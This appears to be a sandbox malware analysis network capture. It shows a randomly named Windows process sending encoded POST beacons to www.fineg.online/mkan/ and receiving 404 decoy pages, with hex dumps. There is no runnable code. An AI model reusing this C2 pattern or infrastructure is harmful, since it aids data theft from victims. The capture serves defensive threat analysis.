Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49281	162.0.239.141	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:42.967225075 CEST	721	OUT	POST /mkan/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.fineg.online Origin: http://www.fineg.online Referer: http://www.fineg.online/mkan/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 7a 38 70 7a 69 31 77 49 43 6b 4a 55 71 79 38 4f 6b 42 52 35 77 6a 31 34 4f 54 4f 57 57 4b 4d 34 50 76 42 44 73 37 67 68 63 6f 6d 77 68 45 43 6f 4a 39 44 39 30 48 43 57 66 50 41 49 72 2b 64 41 45 6a 6b 4e 64 35 64 64 65 61 4b 44 35 70 43 32 2f 51 42 2b 67 77 42 78 71 61 73 69 39 6b 4d 64 59 71 35 55 47 35 44 32 6b 71 6e 61 76 44 34 6a 57 33 76 6f 67 32 33 72 59 6f 7a 50 35 34 65 50 65 6b 58 35 4d 6f 63 68 6a 4c 43 2f 53 42 4d 49 57 4a 51 78 41 35 6c 32 78 54 47 4f 66 59 4a 36 41 70 54 43 2b 49 75 38 50 76 53 64 71 48 77 79 4d 32 2b 4d 62 33 69 45 42 74 6c 35 6e 74 43 45 43 6a 62 50 4f 73 73 3d Data Ascii: MHZDTHg=z8pzi1wICkJUqy8OkBR5wj14OTOWWKM4PvBDs7ghcomwhECoJ9D90HCWfPAIr+dAEjkNd5ddeaKD5pC2/QB+gwBxqasi9kMdYq5UG5D2kqnavD4jW3vog23rYozP54ePekX5MochjLC/SBMIWJQxA5l2xTGOfYJ6ApTC+Iu8PvSdqHwyM2+Mb3iEBtl5ntCECjbPOss=
Sep 9, 2024 10:42:43.707916021 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Sep 2024 08:42:43 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 9, 2024 10:42:43.707928896 CEST	224	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2
Sep 9, 2024 10:42:43.707979918 CEST	1236	IN	Data Raw: 22 20 64 3d 22 4d 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 4c 31 30 20 33 30 37 2e 36 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 39 2e 38 20 32 38 32 2e 34 68 2d 33 4c 32 30 20 33 30 37 2e Data Ascii: " d="M19.8 282.4h-3L10 307.6h3z"/> <path class="st2" d="M29.8 282.4h-3L20 307.6h3z"/> <path class="st2" d="M39.8 282.4h-3L30 307.6h3z"/> <path class="st2" d="M49.8 282.4h-3L40 307.6h3z"/> <path class="st2" d="M59.8 282.4h-3L50
Sep 9, 2024 10:42:43.707988024 CEST	1236	IN	Data Raw: 22 20 64 3d 22 4d 32 33 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 34 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 Data Ascii: " d="M239.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M249.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M259.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M269.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M279.8 282
Sep 9, 2024 10:42:43.708003044 CEST	1236	IN	Data Raw: 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 35 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 Data Ascii: <path class="st2" d="M459.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M469.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M479.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M489.8 282.4h-3l-6.8 25.2h3z"/> <path class="
Sep 9, 2024 10:42:43.708012104 CEST	1236	IN	Data Raw: 73 74 32 22 20 64 3d 22 4d 38 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 32 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 Data Ascii: st2" d="M830 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M820 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M810 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M800 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M790 282.4h-3l-
Sep 9, 2024 10:42:43.708019972 CEST	1236	IN	Data Raw: 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 36 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 25.2h3z"/> <path class="st2" d="M600 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M590 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M580 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M570 282.4h-3l-6.8 25.2h3z"/> <path c
Sep 9, 2024 10:42:43.708025932 CEST	1236	IN	Data Raw: 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 33 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 Data Ascii: -3l-6.8 25.2h3z"/> <path class="st2" d="M-330.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-320.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-310.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-300.2 282.4h-3l
Sep 9, 2024 10:42:43.708034992 CEST	1236	IN	Data Raw: 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 32 30 2e 32 20 32 38 32 2e Data Ascii: ="st2" d="M-130.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-120.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-110.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-100.2 282.4h-3l-6.8 25.2h3z"/> <path class="s
Sep 9, 2024 10:42:43.708043098 CEST	1236	IN	Data Raw: 22 4d 34 33 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 32 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 Data Ascii: "M430 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M420 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M410 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M400 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M390 282.4h-3l
Sep 9, 2024 10:42:43.712965965 CEST	1236	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 31 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 30 20 32 Data Ascii: ath class="st2" d="M210 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M200 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M190 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M180 282.4h-3l-6.8 25.2h3z"/> <path class="st2"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49282	162.0.239.141	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:45.520103931 CEST	741	OUT	POST /mkan/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.fineg.online Origin: http://www.fineg.online Referer: http://www.fineg.online/mkan/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 7a 38 70 7a 69 31 77 49 43 6b 4a 55 6f 57 34 4f 6d 69 4a 35 32 44 31 37 41 7a 4f 57 64 71 4d 6b 50 76 64 44 73 34 73 78 64 61 53 77 76 47 61 6f 49 2f 72 39 7a 48 43 57 4c 66 41 4a 32 75 64 78 45 6a 6f 46 64 34 68 64 65 61 65 44 35 74 4b 32 2f 68 42 35 69 67 42 7a 68 36 73 6b 67 30 4d 64 59 71 35 55 47 36 2b 74 6b 70 58 61 76 54 6f 6a 45 43 54 72 38 6d 33 71 66 6f 7a 50 79 59 65 4c 65 6b 57 65 4d 70 42 70 6a 4a 71 2f 53 42 38 49 58 64 39 6e 56 70 6c 77 31 54 48 70 63 49 34 46 4a 35 58 71 35 5a 48 2f 50 64 43 35 76 78 64 59 57 55 32 6b 49 58 4f 38 52 2b 74 4f 32 64 6a 74 59 41 4c 2f 51 37 36 45 6e 6d 36 70 53 66 71 49 76 2b 75 69 42 6f 32 42 47 58 49 71 Data Ascii: MHZDTHg=z8pzi1wICkJUoW4OmiJ52D17AzOWdqMkPvdDs4sxdaSwvGaoI/r9zHCWLfAJ2udxEjoFd4hdeaeD5tK2/hB5igBzh6skg0MdYq5UG6+tkpXavTojECTr8m3qfozPyYeLekWeMpBpjJq/SB8IXd9nVplw1THpcI4FJ5Xq5ZH/PdC5vxdYWU2kIXO8R+tO2djtYAL/Q76Enm6pSfqIv+uiBo2BGXIq
Sep 9, 2024 10:42:46.461638927 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Sep 2024 08:42:46 GMT Server: Apache Content-Length: 18121 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="/404style.css"></head><body>... partial:index.partial.html --><div class="main"> <div> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 355"> <g id="ocean"> <path id="sky" class="st0" d="M0 0h1000v203.1H0z"/> <linearGradient id="water_1_" gradientUnits="userSpaceOnUse" x1="500" y1="354" x2="500" y2="200.667"> <stop offset="0" stop-color="#fff"/> <stop offset="1" stop-color="#b3dcdf"/> </linearGradient> <path id="water" fill="url(#water_1_)" d="M0 200.7h1000V354H0z"/> <path id="land" class="st0" d="M0 273.4h1000V354H0z"/> <g id="bumps"> <path class="st0" d="M0 275.2s83.8-28 180-28 197 28 197 28H0z"/> <path class="st0" d="M377 275.2s54.7-28 117.5-28 128.6 28 128.6 28H377z"/> <path class="st0" d="M623.2 275.2s83.7-28 179.9-28 196.9 28 196.9 28H623.2z"/> <path class="st0" d="M-998 275.2s83.8-28 180 [TRUNCATED]
Sep 9, 2024 10:42:46.461667061 CEST	1236	IN	Data Raw: 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 2d 36 32 31 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 2d 33 37 34 2e 38 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 Data Ascii: 5-28 128.6 28 128.6 28H-621z"/> <path class="st0" d="M-374.8 275.2s83.7-28 179.9-28S2 275.2 2 275.2h-376.8z"/> </g> </g> <g id="tracks"> <path class="st2" d="M9.8 282.4h-3L0 307.6h3z"/> <path class="st2" d="M19.8 282.4h-3
Sep 9, 2024 10:42:46.461679935 CEST	1236	IN	Data Raw: 22 4d 31 39 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 32 30 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: "M199.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M209.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M219.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M229.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M239.8 282.4h-
Sep 9, 2024 10:42:46.461694956 CEST	1236	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 31 39 2e 38 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 32 39 2e 38 Data Ascii: ath class="st2" d="M419.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M429.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M439.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M449.8 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 9, 2024 10:42:46.461707115 CEST	896	IN	Data Raw: 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 37 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 38 36 30 20 32 38 32 2e 34 68 2d 33 6c 2d Data Ascii: ss="st2" d="M870 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M860 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M850 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M840 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M830 282.4h
Sep 9, 2024 10:42:46.461716890 CEST	1236	IN	Data Raw: 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 37 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 Data Ascii: 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M700 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M690 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M680 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M670 282.4h-3l-6.8 25.2h3z"
Sep 9, 2024 10:42:46.461726904 CEST	1236	IN	Data Raw: 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 33 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 34 32 30 2e 32 20 32 38 32 2e Data Ascii: ="st2" d="M-430.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-420.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-410.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-400.2 282.4h-3l-6.8 25.2h3z"/> <path class="s
Sep 9, 2024 10:42:46.461738110 CEST	448	IN	Data Raw: 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 32 32 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 Data Ascii: h3z"/> <path class="st2" d="M-220.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-210.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-200.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-190.2 282.4h-3l-6.8 25.2h3z
Sep 9, 2024 10:42:46.461752892 CEST	1236	IN	Data Raw: 32 22 20 64 3d 22 4d 2d 31 35 30 2e 32 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 2d 31 34 30 2e 32 20 32 38 32 2e 34 68 2d 33 Data Ascii: 2" d="M-150.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-140.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-130.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M-120.2 282.4h-3l-6.8 25.2h3z"/> <path class="st2"
Sep 9, 2024 10:42:46.461766958 CEST	224	IN	Data Raw: 64 3d 22 4d 34 35 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 34 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e Data Ascii: d="M450 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M440 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M430 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M420 282.4h-3l-6.8 25.2h3z"/> <path class="s
Sep 9, 2024 10:42:46.466603994 CEST	1236	IN	Data Raw: 74 32 22 20 64 3d 22 4d 34 31 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 20 32 35 2e 32 68 33 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 32 22 20 64 3d 22 4d 34 30 30 20 32 38 32 2e 34 68 2d 33 6c 2d 36 2e 38 Data Ascii: t2" d="M410 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M400 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M390 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M380 282.4h-3l-6.8 25.2h3z"/> <path class="st2" d="M370 282

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49283	162.0.239.141	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:48.067106009 CEST	1758	OUT	POST /mkan/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.fineg.online Origin: http://www.fineg.online Referer: http://www.fineg.online/mkan/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 7a 38 70 7a 69 31 77 49 43 6b 4a 55 6f 57 34 4f 6d 69 4a 35 32 44 31 37 41 7a 4f 57 64 71 4d 6b 50 76 64 44 73 34 73 78 64 61 71 77 76 31 53 6f 4a 65 72 39 79 48 43 57 58 76 41 4d 32 75 64 6f 45 6a 77 42 64 34 73 69 65 59 6d 44 34 50 53 32 33 31 64 35 6f 67 42 7a 75 61 73 6c 39 6b 4d 79 59 72 49 64 47 36 75 74 6b 70 58 61 76 56 55 6a 47 58 76 72 2b 6d 33 72 59 6f 7a 54 35 34 65 6a 65 6b 2f 68 4d 70 55 4c 6a 34 4b 2f 54 6c 51 49 51 6f 52 6e 55 4a 6c 79 79 54 48 78 63 49 30 6b 4a 35 62 41 35 5a 7a 42 50 66 69 35 72 6d 59 73 4d 56 2b 76 54 32 44 45 63 65 6b 69 6a 36 58 49 62 68 4c 7a 59 72 4f 32 76 43 69 39 48 49 62 4f 73 4b 7a 32 58 75 69 74 55 67 64 45 43 6e 52 48 38 36 39 73 36 59 66 4d 73 43 56 35 46 37 5a 79 46 7a 41 4d 45 4a 5a 35 49 6f 37 5a 72 2f 6b 43 4f 56 6d 6d 61 71 4b 78 36 68 2b 4e 50 50 57 4a 62 35 69 41 43 66 70 39 30 6c 78 31 6a 48 37 38 38 38 36 5a 74 46 4f 61 6c 36 45 74 34 6b 31 37 68 6f 52 47 35 2b 39 68 5a 4e 43 5a 71 79 46 61 54 7a 54 77 2f 69 42 55 6a 32 [TRUNCATED] Data Ascii: MHZDTHg=z8pzi1wICkJUoW4OmiJ52D17AzOWdqMkPvdDs4sxdaqwv1SoJer9yHCWXvAM2udoEjwBd4sieYmD4PS231d5ogBzuasl9kMyYrIdG6utkpXavVUjGXvr+m3rYozT54ejek/hMpULj4K/TlQIQoRnUJlyyTHxcI0kJ5bA5ZzBPfi5rmYsMV+vT2DEcekij6XIbhLzYrO2vCi9HIbOsKz2XuitUgdECnRH869s6YfMsCV5F7ZyFzAMEJZ5Io7Zr/kCOVmmaqKx6h+NPPWJb5iACfp90lx1jH78886ZtFOal6Et4k17hoRG5+9hZNCZqyFaTzTw/iBUj2qydcoRZk/dRnUOtLmE6M/2o/QTjzxV9JOncu0/+r0/NM+wN1WWRQwpOu0rPBg3EqTPgjr+Wb5J33S0wsPsntLkt/zTZHkSE/Yfk98M7OE3eKnEMAVRHcWPLWEdb1BHESJVevv4gCTDNFT2NLqopU6DGn22oAPLGw+4y96oVMuwMxLE+lppOxZSUnEVsX8ecCKgKJDkTlJZEVIPQTLTdII4N5mx+zlGBM1ReuloqB4L6sk2v9QV36k3/hFqAc0LZPY6GJa+4AByERVTF42WsOqc+3keuCUmrVI6YEv7HcKa8APhcKGpnVEPk8dlywYEmXujrlpGq+zKVx/5FR/DM5ND2P7gukOB3JBoG41AIg0bCez2JYVecvdY3vDv5Kggdt+CLB6jMhT8Oq68SpU0utf+fnBpjGSpmsFiRyqTceVXJajEkOKSrl7XAuycIGfToWScLrQloJoWbfwSCgW5wRHH++Z960ZKvxJny7KSjZM+syYvPOhNI+gYJ8JSuGT/KtDCuqrwONZZ36pINAHZ+DAFPIyXJUUOl2NafyvxjeYWlwctNpzQAcCkefLICyIDI5KmX8gJh1les0UB1tOgrI9UN8SQ4d7CSzb+wOoCyUGbDdiaDH1MJTRKmWChq4xgNYpjffUkoBLG4acAe1m04f1mgRZZXdZET4lr [TRUNCATED]
